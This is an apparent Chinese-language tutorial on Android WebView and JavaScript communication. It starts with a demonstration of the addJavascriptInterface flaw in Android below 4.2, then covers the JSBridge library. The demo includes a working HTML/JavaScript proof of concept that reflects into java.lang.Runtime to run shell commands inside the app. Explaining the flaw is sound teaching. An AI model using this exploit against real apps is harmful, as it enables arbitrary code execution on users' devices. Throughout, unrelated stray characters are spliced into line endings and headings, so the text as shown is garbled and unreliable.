前言
上一篇主要講述了Android中WebView的使用和注意事項(xiàng)揍很，本文將繼續(xù)延伸WebView的使用，將介紹原生APP如何通過(guò)WebView和H5万伤、JS通信交互窒悔。由于Android中WebView在4.2系統(tǒng)以下存在安全漏洞，本文將借助開(kāi)源庫(kù)JSBridge來(lái)完成兩者的通訊敌买。
1简珠、Android4.2以下漏洞驗(yàn)證案例
1、先定義一個(gè)JavascriptInterface
public class AndroidToJs {
private WeakReference<MainActivity> mWeakReference;
public AndroidToJs(MainActivity activity) {
mWeakReference = new WeakReference<>(activity);
}
/**
* 定義JS需要調(diào)用的方法
* 被JS調(diào)用的方法必須加入@JavascriptInterface注解
*
* @param msg
*/
@JavascriptInterface
public String hello(final String msg) {
Toast.makeText(mWeakReference.get(), msg, Toast.LENGTH_SHORT).show();
mWeakReference.get().runOnUiThread(new Runnable() {
@Override
public void run() {
((TextView) mWeakReference.get().findViewById(R.id.mTvJsMsg)).setText(msg);
}
});
return "來(lái)自Android的回應(yīng)";
}
}
2虹钮、再將Interface通過(guò)addJavaScriptInterface添加到WebView
webSettings.javaScriptEnabled = true
// 設(shè)置允許JS彈窗
webSettings.javaScriptCanOpenWindowsAutomatically = true
mWebView.addJavascriptInterface(AndroidToJs(this), "test")
3聋庵、可以看到在Javascript中就可以通過(guò)查找window屬性中的JInterface對(duì)象，然后反射執(zhí)行一些攻擊了芙粱，例如下面的例子通過(guò)反射Android中的Runtime類(lèi)在應(yīng)用中執(zhí)行shell腳本祭玉。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="GBK">
<title>Title</title>
<script>
function testInjectBug(){
var p = execute(["ls","/"]);
console.log(convertStreamToString(p.getInputStream()));
}
function execute(cmdArgs) {
for (var obj in window) {
if ("getClass" in window[obj]) {
console.log("find:"+obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
function convertStreamToString(inputStream) {
var result = "";
var i = inputStream.read();
while(i != -1) {
var tmp = String.fromCharCode(i);
result += tmp;
i = inputStream.read();
}
return result;
}
</script>
</head>
<body>
<button type="button" onclick="testInjectBug()">Bug</button>
</body>
</html>
2、開(kāi)源庫(kù)JSBridge的使用
2.1春畔、dependencies依賴(lài)
repositories {
// ...
maven { url "https://jitpack.io" }
}
dependencies {
compile 'com.github.lzyzsd:jsbridge:1.0.4'
}
2.2脱货、使用BridgeWebView替代WebView進(jìn)行布局
<com.github.lzyzsd.jsbridge.BridgeWebView
android:id="@+id/webView"
android:layout_width="match_parent"
android:layout_height="match_parent" >
</com.github.lzyzsd.jsbridge.BridgeWebView>
2.3、Java提供方法給JS調(diào)用
1律姨、Java端注冊(cè)一個(gè)方法
webView.registerHandler("submitFromWeb", new BridgeHandler() {
@Override
public void handler(String data, CallBackFunction function) {
Log.i(TAG, "handler = submitFromWeb, data from web = " + data);
function.onCallBack("submitFromWeb exe, response data from Java");
}
});
2振峻、JS端調(diào)用該方法
WebViewJavascriptBridge.callHandler(
'submitFromWeb'
, {'param': str1}
, function(responseData) {
document.getElementById("show").innerHTML = "send get responseData from java, data = " + responseData
}
);
注意：Java端注冊(cè)方法時(shí)，其中一個(gè)參數(shù)handlerName為submitFromWeb择份，在JS中調(diào)用時(shí)也需要傳遞相同的參數(shù)submitFromWeb;
JS傳遞給Java端的參數(shù)扣孟，可以在Java端的handler(String data, CallBackFunction function)中的data獲取，數(shù)據(jù)處理完畢后荣赶，也可調(diào)用function.onCallBack()把結(jié)果返回給JS
3凤价、為了簡(jiǎn)單方便鸽斟，Java端也可以直接設(shè)置一個(gè)Handler，那么兩邊就可以不用規(guī)定參數(shù)handlerName
//Java端設(shè)置handler
webView.setDefaultHandler(new DefaultHandler(){
@Override
public void handler(String data, CallBackFunction function) {
}
});
//JS端發(fā)送消息
window.WebViewJavascriptBridge.send(
data
, function(responseData) {
document.getElementById("show").innerHTML = "repsonseData from java, data = " + responseData
}
);
2.4料仗、Java端調(diào)用JS代碼
1湾盗、和上面Java端注冊(cè)類(lèi)似，JS端也要先注冊(cè)一個(gè)方法,同樣需要一樣的 handlerName
//JS端
WebViewJavascriptBridge.registerHandler("functionInJs", function(data, responseCallback) {
document.getElementById("show").innerHTML = ("data from Java: = " + data);
var responseData = "Javascript Says Right back aka!";
responseCallback(responseData);
});
2立轧、Java端調(diào)用該方法
webView.callHandler("functionInJs", new Gson().toJson(user), new CallBackFunction() {
@Override
public void onCallBack(String data) {
}
});
3格粪、同上面類(lèi)似，JS也可以通過(guò)bridge.init(function(message, responseCallback)來(lái)設(shè)置默認(rèn)的消息處理氛改，那么兩邊就可以不用規(guī)定參數(shù)handlerName
//JS監(jiān)聽(tīng)Java端的消息
bridge.init(function(message, responseCallback) {
console.log('JS got a message', message);
var data = {
'Javascript Responds': 'Wee!'
};
console.log('JS responding with', data);
responseCallback(data);
});
//java端發(fā)送消息
webView.send("hello");
2.5帐萎、注意
該庫(kù)會(huì)向JS中的window對(duì)象中注入WebViewJavascriptBridge對(duì)象，所以在js中胜卤，在使用WebViewJavascriptBridge之前疆导，必須檢測(cè)WebViewJavascriptBridge是否存在。如果WebViewJavascriptBridge未退出葛躏，則可以偵聽(tīng)WebViewJavascriptBridgeReady事件
if (window.WebViewJavascriptBridge) {
//do your work here
} else {
document.addEventListener(
'WebViewJavascriptBridgeReady'
, function() {
//do your work here
},
false
);
}
